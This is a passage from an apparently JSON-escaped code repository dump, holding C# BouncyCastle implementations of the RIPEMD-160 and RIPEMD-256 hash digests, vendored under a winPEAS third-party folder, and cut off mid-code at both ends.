~y) ^ z;\n        }\n\n        /*\n        * rounds 48-63\n        */\n        private  int F4(\n            int x,\n            int y,\n            int z)\n        {\n            return (x & z) | (y & ~z);\n        }\n\n        /*\n        * rounds 64-79\n        */\n        private  int F5(\n            int x,\n            int y,\n            int z)\n        {\n            return x ^ (y | ~z);\n        }\n\n        internal override void ProcessBlock()\n        {\n            int a, aa;\n            int b, bb;\n            int c, cc;\n            int d, dd;\n            int e, ee;\n\n            a = aa = H0;\n            b = bb = H1;\n            c = cc = H2;\n            d = dd = H3;\n            e = ee = H4;\n\n            //\n            // Rounds 1 - 16\n            //\n            // left\n            a = RL(a + F1(b,c,d) + X[ 0], 11) + e; c = RL(c, 10);\n            e = RL(e + F1(a,b,c) + X[ 1], 14) + d; b = RL(b, 10);\n            d = RL(d + F1(e,a,b) + X[ 2], 15) + c; a = RL(a, 10);\n            c = RL(c + F1(d,e,a) + X[ 3], 12) + b; e = RL(e, 10);\n            b = RL(b + F1(c,d,e) + X[ 4],  5) + a; d = RL(d, 10);\n            a = RL(a + F1(b,c,d) + X[ 5],  8) + e; c = RL(c, 10);\n            e = RL(e + F1(a,b,c) + X[ 6],  7) + d; b = RL(b, 10);\n            d = RL(d + F1(e,a,b) + X[ 7],  9) + c; a = RL(a, 10);\n            c = RL(c + F1(d,e,a) + X[ 8], 11) + b; e = RL(e, 10);\n            b = RL(b + F1(c,d,e) + X[ 9], 13) + a; d = RL(d, 10);\n            a = RL(a + F1(b,c,d) + X[10], 14) + e; c = RL(c, 10);\n            e = RL(e + F1(a,b,c) + X[11], 15) + d; b = RL(b, 10);\n            d = RL(d + F1(e,a,b) + X[12],  6) + c; a = RL(a, 10);\n            c = RL(c + F1(d,e,a) + X[13],  7) + b; e = RL(e, 10);\n            b = RL(b + F1(c,d,e) + X[14],  9) + a; d = RL(d, 10);\n            a = RL(a + F1(b,c,d) + X[15],  8) + e; c = RL(c, 10);\n\n            // right\n            aa = RL(aa + F5(bb,cc,dd) + X[ 5] + unchecked((int) 0x50a28be6),  8) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F5(aa,bb,cc) + X[14] + unchecked((int) 0x50a28be6),  9) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F5(ee,aa,bb) + X[ 7] + unchecked((int) 0x50a28be6),  9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F5(dd,ee,aa) + X[ 0] + unchecked((int) 0x50a28be6), 11) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F5(cc,dd,ee) + X[ 9] + unchecked((int) 0x50a28be6), 13) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F5(bb,cc,dd) + X[ 2] + unchecked((int) 0x50a28be6), 15) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F5(aa,bb,cc) + X[11] + unchecked((int) 0x50a28be6), 15) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F5(ee,aa,bb) + X[ 4] + unchecked((int) 0x50a28be6),  5) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F5(dd,ee,aa) + X[13] + unchecked((int) 0x50a28be6),  7) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F5(cc,dd,ee) + X[ 6] + unchecked((int) 0x50a28be6),  7) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F5(bb,cc,dd) + X[15] + unchecked((int) 0x50a28be6),  8) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F5(aa,bb,cc) + X[ 8] + unchecked((int) 0x50a28be6), 11) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F5(ee,aa,bb) + X[ 1] + unchecked((int) 0x50a28be6), 14) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F5(dd,ee,aa) + X[10] + unchecked((int) 0x50a28be6), 14) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F5(cc,dd,ee) + X[ 3] + unchecked((int) 0x50a28be6), 12) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F5(bb,cc,dd) + X[12] + unchecked((int) 0x50a28be6),  6) + ee; cc = RL(cc, 10);\n\n            //\n            // Rounds 16-31\n            //\n            // left\n            e = RL(e + F2(a,b,c) + X[ 7] + unchecked((int) 0x5a827999),   7) + d; b = RL(b, 10);\n            d = RL(d + F2(e,a,b) + X[ 4] + unchecked((int) 0x5a827999),   6) + c; a = RL(a, 10);\n            c = RL(c + F2(d,e,a) + X[13] + unchecked((int) 0x5a827999),   8) + b; e = RL(e, 10);\n            b = RL(b + F2(c,d,e) + X[ 1] + unchecked((int) 0x5a827999),  13) + a; d = RL(d, 10);\n            a = RL(a + F2(b,c,d) + X[10] + unchecked((int) 0x5a827999),  11) + e; c = RL(c, 10);\n            e = RL(e + F2(a,b,c) + X[ 6] + unchecked((int) 0x5a827999),   9) + d; b = RL(b, 10);\n            d = RL(d + F2(e,a,b) + X[15] + unchecked((int) 0x5a827999),   7) + c; a = RL(a, 10);\n            c = RL(c + F2(d,e,a) + X[ 3] + unchecked((int) 0x5a827999),  15) + b; e = RL(e, 10);\n            b = RL(b + F2(c,d,e) + X[12] + unchecked((int) 0x5a827999),   7) + a; d = RL(d, 10);\n            a = RL(a + F2(b,c,d) + X[ 0] + unchecked((int) 0x5a827999),  12) + e; c = RL(c, 10);\n            e = RL(e + F2(a,b,c) + X[ 9] + unchecked((int) 0x5a827999),  15) + d; b = RL(b, 10);\n            d = RL(d + F2(e,a,b) + X[ 5] + unchecked((int) 0x5a827999),   9) + c; a = RL(a, 10);\n            c = RL(c + F2(d,e,a) + X[ 2] + unchecked((int) 0x5a827999),  11) + b; e = RL(e, 10);\n            b = RL(b + F2(c,d,e) + X[14] + unchecked((int) 0x5a827999),   7) + a; d = RL(d, 10);\n            a = RL(a + F2(b,c,d) + X[11] + unchecked((int) 0x5a827999),  13) + e; c = RL(c, 10);\n            e = RL(e + F2(a,b,c) + X[ 8] + unchecked((int) 0x5a827999),  12) + d; b = RL(b, 10);\n\n            // right\n            ee = RL(ee + F4(aa,bb,cc) + X[ 6] + unchecked((int) 0x5c4dd124),   9) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F4(ee,aa,bb) + X[11] + unchecked((int) 0x5c4dd124),  13) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F4(dd,ee,aa) + X[ 3] + unchecked((int) 0x5c4dd124),  15) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F4(cc,dd,ee) + X[ 7] + unchecked((int) 0x5c4dd124),   7) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F4(bb,cc,dd) + X[ 0] + unchecked((int) 0x5c4dd124),  12) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F4(aa,bb,cc) + X[13] + unchecked((int) 0x5c4dd124),   8) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F4(ee,aa,bb) + X[ 5] + unchecked((int) 0x5c4dd124),   9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F4(dd,ee,aa) + X[10] + unchecked((int) 0x5c4dd124),  11) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F4(cc,dd,ee) + X[14] + unchecked((int) 0x5c4dd124),   7) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F4(bb,cc,dd) + X[15] + unchecked((int) 0x5c4dd124),   7) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F4(aa,bb,cc) + X[ 8] + unchecked((int) 0x5c4dd124),  12) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F4(ee,aa,bb) + X[12] + unchecked((int) 0x5c4dd124),   7) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F4(dd,ee,aa) + X[ 4] + unchecked((int) 0x5c4dd124),   6) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F4(cc,dd,ee) + X[ 9] + unchecked((int) 0x5c4dd124),  15) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F4(bb,cc,dd) + X[ 1] + unchecked((int) 0x5c4dd124),  13) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F4(aa,bb,cc) + X[ 2] + unchecked((int) 0x5c4dd124),  11) + dd; bb = RL(bb, 10);\n\n            //\n            // Rounds 32-47\n            //\n            // left\n            d = RL(d + F3(e,a,b) + X[ 3] + unchecked((int) 0x6ed9eba1),  11) + c; a = RL(a, 10);\n            c = RL(c + F3(d,e,a) + X[10] + unchecked((int) 0x6ed9eba1),  13) + b; e = RL(e, 10);\n            b = RL(b + F3(c,d,e) + X[14] + unchecked((int) 0x6ed9eba1),   6) + a; d = RL(d, 10);\n            a = RL(a + F3(b,c,d) + X[ 4] + unchecked((int) 0x6ed9eba1),   7) + e; c = RL(c, 10);\n            e = RL(e + F3(a,b,c) + X[ 9] + unchecked((int) 0x6ed9eba1),  14) + d; b = RL(b, 10);\n            d = RL(d + F3(e,a,b) + X[15] + unchecked((int) 0x6ed9eba1),   9) + c; a = RL(a, 10);\n            c = RL(c + F3(d,e,a) + X[ 8] + unchecked((int) 0x6ed9eba1),  13) + b; e = RL(e, 10);\n            b = RL(b + F3(c,d,e) + X[ 1] + unchecked((int) 0x6ed9eba1),  15) + a; d = RL(d, 10);\n            a = RL(a + F3(b,c,d) + X[ 2] + unchecked((int) 0x6ed9eba1),  14) + e; c = RL(c, 10);\n            e = RL(e + F3(a,b,c) + X[ 7] + unchecked((int) 0x6ed9eba1),   8) + d; b = RL(b, 10);\n            d = RL(d + F3(e,a,b) + X[ 0] + unchecked((int) 0x6ed9eba1),  13) + c; a = RL(a, 10);\n            c = RL(c + F3(d,e,a) + X[ 6] + unchecked((int) 0x6ed9eba1),   6) + b; e = RL(e, 10);\n            b = RL(b + F3(c,d,e) + X[13] + unchecked((int) 0x6ed9eba1),   5) + a; d = RL(d, 10);\n            a = RL(a + F3(b,c,d) + X[11] + unchecked((int) 0x6ed9eba1),  12) + e; c = RL(c, 10);\n            e = RL(e + F3(a,b,c) + X[ 5] + unchecked((int) 0x6ed9eba1),   7) + d; b = RL(b, 10);\n            d = RL(d + F3(e,a,b) + X[12] + unchecked((int) 0x6ed9eba1),   5) + c; a = RL(a, 10);\n\n            // right\n            dd = RL(dd + F3(ee,aa,bb) + X[15] + unchecked((int) 0x6d703ef3),   9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F3(dd,ee,aa) + X[ 5] + unchecked((int) 0x6d703ef3),   7) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F3(cc,dd,ee) + X[ 1] + unchecked((int) 0x6d703ef3),  15) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F3(bb,cc,dd) + X[ 3] + unchecked((int) 0x6d703ef3),  11) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F3(aa,bb,cc) + X[ 7] + unchecked((int) 0x6d703ef3),   8) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F3(ee,aa,bb) + X[14] + unchecked((int) 0x6d703ef3),   6) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F3(dd,ee,aa) + X[ 6] + unchecked((int) 0x6d703ef3),   6) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F3(cc,dd,ee) + X[ 9] + unchecked((int) 0x6d703ef3),  14) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F3(bb,cc,dd) + X[11] + unchecked((int) 0x6d703ef3),  12) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F3(aa,bb,cc) + X[ 8] + unchecked((int) 0x6d703ef3),  13) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F3(ee,aa,bb) + X[12] + unchecked((int) 0x6d703ef3),   5) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F3(dd,ee,aa) + X[ 2] + unchecked((int) 0x6d703ef3),  14) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F3(cc,dd,ee) + X[10] + unchecked((int) 0x6d703ef3),  13) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F3(bb,cc,dd) + X[ 0] + unchecked((int) 0x6d703ef3),  13) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F3(aa,bb,cc) + X[ 4] + unchecked((int) 0x6d703ef3),   7) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F3(ee,aa,bb) + X[13] + unchecked((int) 0x6d703ef3),   5) + cc; aa = RL(aa, 10);\n\n            //\n            // Rounds 48-63\n            //\n            // left\n            c = RL(c + F4(d,e,a) + X[ 1] + unchecked((int) 0x8f1bbcdc),  11) + b; e = RL(e, 10);\n            b = RL(b + F4(c,d,e) + X[ 9] + unchecked((int) 0x8f1bbcdc),  12) + a; d = RL(d, 10);\n            a = RL(a + F4(b,c,d) + X[11] + unchecked((int) 0x8f1bbcdc), 14) + e; c = RL(c, 10);\n            e = RL(e + F4(a,b,c) + X[10] + unchecked((int) 0x8f1bbcdc), 15) + d; b = RL(b, 10);\n            d = RL(d + F4(e,a,b) + X[ 0] + unchecked((int) 0x8f1bbcdc), 14) + c; a = RL(a, 10);\n            c = RL(c + F4(d,e,a) + X[ 8] + unchecked((int) 0x8f1bbcdc), 15) + b; e = RL(e, 10);\n            b = RL(b + F4(c,d,e) + X[12] + unchecked((int) 0x8f1bbcdc),  9) + a; d = RL(d, 10);\n            a = RL(a + F4(b,c,d) + X[ 4] + unchecked((int) 0x8f1bbcdc),  8) + e; c = RL(c, 10);\n            e = RL(e + F4(a,b,c) + X[13] + unchecked((int) 0x8f1bbcdc),  9) + d; b = RL(b, 10);\n            d = RL(d + F4(e,a,b) + X[ 3] + unchecked((int) 0x8f1bbcdc), 14) + c; a = RL(a, 10);\n            c = RL(c + F4(d,e,a) + X[ 7] + unchecked((int) 0x8f1bbcdc),  5) + b; e = RL(e, 10);\n            b = RL(b + F4(c,d,e) + X[15] + unchecked((int) 0x8f1bbcdc),  6) + a; d = RL(d, 10);\n            a = RL(a + F4(b,c,d) + X[14] + unchecked((int) 0x8f1bbcdc),  8) + e; c = RL(c, 10);\n            e = RL(e + F4(a,b,c) + X[ 5] + unchecked((int) 0x8f1bbcdc),  6) + d; b = RL(b, 10);\n            d = RL(d + F4(e,a,b) + X[ 6] + unchecked((int) 0x8f1bbcdc),  5) + c; a = RL(a, 10);\n            c = RL(c + F4(d,e,a) + X[ 2] + unchecked((int) 0x8f1bbcdc), 12) + b; e = RL(e, 10);\n\n            // right\n            cc = RL(cc + F2(dd,ee,aa) + X[ 8] + unchecked((int) 0x7a6d76e9),  15) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F2(cc,dd,ee) + X[ 6] + unchecked((int) 0x7a6d76e9),   5) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F2(bb,cc,dd) + X[ 4] + unchecked((int) 0x7a6d76e9),   8) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F2(aa,bb,cc) + X[ 1] + unchecked((int) 0x7a6d76e9),  11) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F2(ee,aa,bb) + X[ 3] + unchecked((int) 0x7a6d76e9),  14) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F2(dd,ee,aa) + X[11] + unchecked((int) 0x7a6d76e9),  14) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F2(cc,dd,ee) + X[15] + unchecked((int) 0x7a6d76e9),   6) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F2(bb,cc,dd) + X[ 0] + unchecked((int) 0x7a6d76e9),  14) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F2(aa,bb,cc) + X[ 5] + unchecked((int) 0x7a6d76e9),   6) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F2(ee,aa,bb) + X[12] + unchecked((int) 0x7a6d76e9),   9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F2(dd,ee,aa) + X[ 2] + unchecked((int) 0x7a6d76e9),  12) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F2(cc,dd,ee) + X[13] + unchecked((int) 0x7a6d76e9),   9) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F2(bb,cc,dd) + X[ 9] + unchecked((int) 0x7a6d76e9),  12) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F2(aa,bb,cc) + X[ 7] + unchecked((int) 0x7a6d76e9),   5) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F2(ee,aa,bb) + X[10] + unchecked((int) 0x7a6d76e9),  15) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F2(dd,ee,aa) + X[14] + unchecked((int) 0x7a6d76e9),   8) + bb; ee = RL(ee, 10);\n\n            //\n            // Rounds 64-79\n            //\n            // left\n            b = RL(b + F5(c,d,e) + X[ 4] + unchecked((int) 0xa953fd4e),  9) + a; d = RL(d, 10);\n            a = RL(a + F5(b,c,d) + X[ 0] + unchecked((int) 0xa953fd4e), 15) + e; c = RL(c, 10);\n            e = RL(e + F5(a,b,c) + X[ 5] + unchecked((int) 0xa953fd4e),  5) + d; b = RL(b, 10);\n            d = RL(d + F5(e,a,b) + X[ 9] + unchecked((int) 0xa953fd4e), 11) + c; a = RL(a, 10);\n            c = RL(c + F5(d,e,a) + X[ 7] + unchecked((int) 0xa953fd4e),  6) + b; e = RL(e, 10);\n            b = RL(b + F5(c,d,e) + X[12] + unchecked((int) 0xa953fd4e),  8) + a; d = RL(d, 10);\n            a = RL(a + F5(b,c,d) + X[ 2] + unchecked((int) 0xa953fd4e), 13) + e; c = RL(c, 10);\n            e = RL(e + F5(a,b,c) + X[10] + unchecked((int) 0xa953fd4e), 12) + d; b = RL(b, 10);\n            d = RL(d + F5(e,a,b) + X[14] + unchecked((int) 0xa953fd4e),  5) + c; a = RL(a, 10);\n            c = RL(c + F5(d,e,a) + X[ 1] + unchecked((int) 0xa953fd4e), 12) + b; e = RL(e, 10);\n            b = RL(b + F5(c,d,e) + X[ 3] + unchecked((int) 0xa953fd4e), 13) + a; d = RL(d, 10);\n            a = RL(a + F5(b,c,d) + X[ 8] + unchecked((int) 0xa953fd4e), 14) + e; c = RL(c, 10);\n            e = RL(e + F5(a,b,c) + X[11] + unchecked((int) 0xa953fd4e), 11) + d; b = RL(b, 10);\n            d = RL(d + F5(e,a,b) + X[ 6] + unchecked((int) 0xa953fd4e),  8) + c; a = RL(a, 10);\n            c = RL(c + F5(d,e,a) + X[15] + unchecked((int) 0xa953fd4e),  5) + b; e = RL(e, 10);\n            b = RL(b + F5(c,d,e) + X[13] + unchecked((int) 0xa953fd4e),  6) + a; d = RL(d, 10);\n\n            // right\n            bb = RL(bb + F1(cc,dd,ee) + X[12],  8) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F1(bb,cc,dd) + X[15],  5) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F1(aa,bb,cc) + X[10], 12) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F1(ee,aa,bb) + X[ 4],  9) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F1(dd,ee,aa) + X[ 1], 12) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F1(cc,dd,ee) + X[ 5],  5) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F1(bb,cc,dd) + X[ 8], 14) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F1(aa,bb,cc) + X[ 7],  6) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F1(ee,aa,bb) + X[ 6],  8) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F1(dd,ee,aa) + X[ 2], 13) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F1(cc,dd,ee) + X[13],  6) + aa; dd = RL(dd, 10);\n            aa = RL(aa + F1(bb,cc,dd) + X[14],  5) + ee; cc = RL(cc, 10);\n            ee = RL(ee + F1(aa,bb,cc) + X[ 0], 15) + dd; bb = RL(bb, 10);\n            dd = RL(dd + F1(ee,aa,bb) + X[ 3], 13) + cc; aa = RL(aa, 10);\n            cc = RL(cc + F1(dd,ee,aa) + X[ 9], 11) + bb; ee = RL(ee, 10);\n            bb = RL(bb + F1(cc,dd,ee) + X[11], 11) + aa; dd = RL(dd, 10);\n\n            dd += c + H1;\n            H1 = H2 + d + ee;\n            H2 = H3 + e + aa;\n            H3 = H4 + a + bb;\n            H4 = H0 + b + cc;\n            H0 = dd;\n\n            //\n            // reset the offset and clean out the word buffer.\n            //\n            xOff = 0;\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new RipeMD160Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tRipeMD160Digest d = (RipeMD160Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/RipeMD256Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /// <remarks>\n    /// <p>Implementation of RipeMD256.</p>\n    /// <p><b>Note:</b> this algorithm offers the same level of security as RipeMD128.</p>\n    /// </remarks>\n    public class RipeMD256Digest\n\t\t: GeneralDigest\n    {\n        public override string AlgorithmName\n\t\t{\n\t\t\tget { return \"RIPEMD256\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tprivate const int DigestLength = 32;\n\n\t\tprivate int H0, H1, H2, H3, H4, H5, H6, H7; // IV's\n\n\t\tprivate int[] X = new int[16];\n        private int xOff;\n\n        /// <summary> Standard constructor</summary>\n        public RipeMD256Digest()\n        {\n            Reset();\n        }\n\n        /// <summary> Copy constructor.  This will copy the state of the provided\n        /// message digest.\n        /// </summary>\n        public RipeMD256Digest(RipeMD256Digest t):base(t)\n        {\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(RipeMD256Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n\n            H0 = t.H0;\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n            H5 = t.H5;\n            H6 = t.H6;\n            H7 = t.H7;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n        internal override void ProcessWord(\n            byte[] input,\n            int inOff)\n        {\n            X[xOff++] = (input[inOff] & 0xff) | ((input[inOff + 1] & 0xff) << 8)\n                | ((input[inOff + 2] & 0xff) << 16) | ((input[inOff + 3] & 0xff) << 24);\n\n            if (xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n        internal override void ProcessLength(\n            long bitLength)\n        {\n            if (xOff > 14)\n            {\n                ProcessBlock();\n            }\n\n            X[14] = (int)(bitLength & 0xffffffff);\n            X[15] = (int)((ulong)bitLength >> 32);\n        }\n\n        private void UnpackWord(\n            int word,\n            byte[] outBytes,\n            int outOff)\n        {\n            outBytes[outOff] = (byte)(uint)word;\n            outBytes[outOff + 1] = (byte)((uint)word >> 8);\n            outBytes[outOff + 2] = (byte)((uint)word >> 16);\n            outBytes[outOff + 3] = (byte)((uint)word >> 24);\n        }\n\n        public override int DoFinal(byte[] output, int outOff)\n        {\n            Finish();\n\n            UnpackWord(H0, output, outOff);\n            UnpackWord(H1, output, outOff + 4);\n            UnpackWord(H2, output, outOff + 8);\n            UnpackWord(H3, output, outOff + 12);\n            UnpackWord(H4, output, outOff + 16);\n            UnpackWord(H5, output, outOff + 20);\n            UnpackWord(H6, output, outOff + 24);\n            UnpackWord(H7, output, outOff + 28);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /// <summary> reset the chaining variables to the IV values.</summary>\n        public override void  Reset()\n        {\n            base.Reset();\n\n            H0 = unchecked((int)0x67452301);\n            H1 = unchecked((int)0xefcdab89);\n            H2 = unchecked((int)0x98badcfe);\n            H3 = unchecked((int)0x10325476);\n            H4 = unchecked((int)0x76543210);\n            H5 = unchecked((int)0xFEDCBA98);\n            H6 = unchecked((int)0x89ABCDEF);\n            H7 = unchecked((int)0x01234567);\n\n            xOff = 0;\n\n            for (int i = 0; i != X.Length; i++)\n            {\n                X[i] = 0;\n            }\n        }\n\n        /*\n        * rotate int x left n bits.\n        */\n        private int RL(\n            int x,\n            int n)\n        {\n            return (x << n) | (int)((uint)x >> (32 - n));\n        }\n\n        /*\n        * f1,f2,f3,f4 are the basic RipeMD128 functions.\n        */\n\n        /*\n        * F\n        */\n        private int F1(int x, int y, int z)\n        {\n            return x ^ y ^ z;\n        }\n\n        /*\n        * G\n        */\n        private int F2(int x, int y, int z)\n        {\n            return (x & y) | (~ x & z);\n        }\n\n        /*\n        * H\n        */\n        private int F3(int x, int y, int z)\n        {\n            return (x | ~ y) ^ z;\n        }\n\n        /*\n        * I\n        */\n        private int F4(int x, int y, int z)\n        {\n            return (x & z) | (y & ~ z);\n        }\n\n        private int F1(int a, int b, int c, int d, int x, int s)\n        {\n            return RL(a + F1(b, c, d) + x, s);\n        }\n\n        private int F2(int a, int b, int c, int d, int x, int s)\n        {\n            return RL(a + F2(b, c, d) + x + unchecked((int)0x5a827999), s);\n        }\n\n        private int F3(int a, int b, int c, int d, int x, int s)\n        {\n            return RL(a + F3(b, c, d) + x + unchecked((int)0x6ed9eba1), s);\n        }\n\n        private int F4(int a, int b, int c, int d, int x, int s)\n        {\n            return RL(a + F4(b, c, d) + x + unchecked((int)0x8f1bbcdc), s);\n        }\n\n        private int FF1(int a, int b, int c, int d, int x, int s)\n        {\n            return RL(a + F1(b, c, d) + x, s);\n        }\n\n        private int FF2(int a, int b, int c, int d, int x, int s)\n        {\n            return RL(a + F2(b, c, d) + x + unchecked((int)0x6d703ef3), s);\n        }\n\n        private int FF3(int a, int b, int c, int d, int x, int s)\n        {\n            return RL(a + F3(b, c, d) + x + unchecked((int)0x5c4dd124), s);\n        }\n\n        private int FF4(int a, int b, int c, int d, int x, int s)\n        {\n            return RL(a + F4(b, c, d) + x + unchecked((int)0x50a28be6), s);\n        }\n\n        internal override void ProcessBlock()\n        {\n            int a, aa;\n            int b, bb;\n            int c, cc;\n            int d, dd;\n            int t;\n\n            a = H0;\n            b = H1;\n            c = H2;\n            d = H3;\n            aa = H4;\n            bb = H5;\n            cc = H6;\n            dd = H7;\n\n            //\n            // Round 1\n            //\n\n            a = F1(a, b, c, d, X[0], 11);\n            d = F1(d, a, b, c, X[1], 14);\n            c = F1(c, d, a, b, X[2], 15);\n            b = F1(b, c, d, a, X[3], 12);\n            a = F1(a, b, c, d, X[4], 5);\n            d = F1(d, a, b, c, X[5], 8);\n            c = F1(c, d, a, b, X[6], 7);\n            b = F1(b, c, d, a, X[7], 9);\n            a = F1(a, b, c, d, X[8], 11);\n            d = F1(d, a, b, c, X[9], 13);\n            c = F1(c, d, a, b, X[10], 14);\n            b = F1(b, c, d, a, X[11], 15);\n            a = F1(a, b, c, d, X[12], 6);\n            d = F1(d, a, b, c, X[13], 7);\n            c = F1(c, d, a, b, X[14], 9);\n            b = F1(b, c, d, a, X[15], 8);\n\n            aa = FF4(aa, bb, cc, dd, X[5], 8);\n            dd = FF4(dd, aa, bb, cc, X[14], 9);\n            cc = FF4(cc, dd, aa, bb, X[7], 9);\n            bb = FF4(bb, cc, dd, aa, X[0], 11);\n            aa = FF4(aa, bb, cc, dd, X[9], 13);\n            dd = FF4(dd, aa, bb, cc, X[2], 15);\n            cc = FF4(cc, dd, aa, bb, X[11], 15);\n            bb = FF4(bb, cc, dd, aa, X[4], 5);\n            aa = FF4(aa, bb, cc, dd, X[13], 7);\n            dd = FF4(dd, aa, bb, cc, X[6], 7);\n            cc = FF4(cc, dd, aa, bb, X[15], 8);\n            bb = FF4(bb, cc, dd, aa, X[8], 11);\n            aa = FF4(aa, bb, cc, dd, X[1], 14);\n            dd = FF4(dd, aa, bb, cc, X[10], 14);\n            cc = FF4(cc, dd, aa, bb, X[3], 12);\n            bb = FF4(bb, cc, dd, aa, X[12], 6);\n\n            t = a; a = aa; aa = t;\n\n            //\n            // Round 2\n            //\n            a = F2(a, b, c, d, X[7], 7);\n            d = F2(d, a, b, c, X[4], 6);\n            c = F2(c, d, a, b, X[13], 8);\n            b = F2(b, c, d, a, X[1], 13);\n            a = F2(a, b, c, d, X[10], 11);\n            d = F2(d, a, b, c, X[6], 9);\n            c = F2(c, d, a, b, X[15], 7);\n            b = F2(b, c, d, a, X[3], 15);\n            a = F2(a, b, c, d, X[12], 7);\n            d = F2(d, a, b, c, X[0], 12);\n            c = F2(c, d, a, b, X[9], 15);\n            b = F2(b, c, d, a, X[5], 9);\n            a = F2(a, b, c, d, X[2], 11);\n            d = F2(d, a, b, c, X[14], 7);\n            c = F2(c, d, a, b, X[11], 13);\n            b = F2(b, c, d, a, X[8], 12);\n\n            aa = FF3(aa, bb, cc, dd, X[6], 9);\n            dd = FF3(dd, aa, bb, cc, X[11], 13);\n            cc = FF3(cc, dd, aa, bb, X[3], 15);\n            bb = FF3(bb, cc, dd, aa, X[7], 7);\n            aa = FF3(aa, bb, cc, dd, X[0], 12);\n            dd = FF3(dd, aa, bb, cc, X[13], 8);\n            cc = FF3(cc, dd, aa, bb, X[5], 9);\n            bb = FF3(bb, cc, dd, aa, X[10], 11);\n            aa = FF3(aa, bb, cc, dd, X[14], 7);\n            dd = FF3(dd, aa, bb, cc, X[15], 7);\n            cc = FF3(cc, dd, aa, bb, X[8], 12);\n            bb = FF3(bb, cc, dd, aa, X[12], 7);\n            aa = FF3(aa, bb, cc, dd, X[4], 6);\n            dd = FF3(dd, aa, bb, cc, X[9], 15);\n            cc = FF3(cc, dd, aa, bb, X[1], 13);\n            bb = FF3(bb, cc, dd, aa, X[2], 11);\n\n            t = b; b = bb; bb = t;\n\n            //\n            // Round 3\n            //\n            a = F3(a, b, c, d, X[3], 11);\n            d = F3(d, a, b, c, X[10], 13);\n            c = F3(c, d, a, b, X[14], 6);\n          